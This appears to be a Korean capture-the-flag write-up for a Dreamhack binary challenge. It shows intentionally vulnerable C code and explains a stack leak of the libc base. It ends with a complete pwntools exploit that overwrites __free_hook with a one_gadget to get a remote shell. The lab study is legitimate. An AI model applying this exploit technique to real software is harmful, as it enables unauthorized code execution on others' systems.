code// Name: fho.c
// Compile: gcc -o fho fho.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char buf[0x30];
unsigned long long *addr;
unsigned long long value;
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
puts("[1] Stack buffer overflow");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
puts("[2] Arbitary-Address-Write");
printf("To write: ");
scanf("%llu", &addr);
printf("With: ");
scanf("%llu", &value);
printf("[%p] = %llu\n", addr, value);
*addr = value;
puts("[3] Arbitrary-Address-Free");
printf("To free: ");
scanf("%llu", &addr);
free(addr);
return 0;
}
Full RELRO, Canary found, NX enabled, PIE enabled[rbp-0x50][rbp-0x48][rbp-0x40][rbp-0x8]로컬과 리모트가 이 부분이 달랐다. 따라서 docker로 열고 제대로 된 ret 주소를 확인했다.
main에 break를 걸어놓고 main stack의 return address를 보자

__libc_start_main+231로 돌아가는 것을 볼 수 있다.

그러면 buf를 over해서 받아 RET까지 읽도록 하자! buf 0x38, Canary 0x8, SFP 0x8바이트 총 0x48만큼 보내면 ret을 읽을 수 있고, 그 값은 __libc_start_main+231의 진짜 주소이다.
거기서 (libc.symbols[’__libc_start_msin’] + 231)을 빼주면 libc base를 구할 수 있고, system, free_hook, onegadget, /bin/sh 모두 구할 수 있다.
exploitlibc base를 구하고, __free_hook을 one_gadget으로 바꿨다. 그러면 나중에 free()할 때, one_gadget이 실행될 것이다!!
from pwn import *
p = remote('host3.dreamhack.games', 21219)
e = ELF('./fho')
libc = ELF('./libc-2.27.so')
og = [0x4f3d5, 0x4f432, 0x10a41c]
buf = b'A' * 0x48
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
leak = u64(p.recvline()[:-1].ljust(8, b'\x00'))
lb = leak - libc.symbols['__libc_start_main'] - 231
free_hook = lb + libc.symbols['__free_hook']
p.sendlineafter(b': ', str(free_hook).encode())
one_gadget = lb + og[1]
p.sendlineafter(b': ', str(one_gadget).encode())
p.sendlineafter(b': ', b'0')
p.interactive()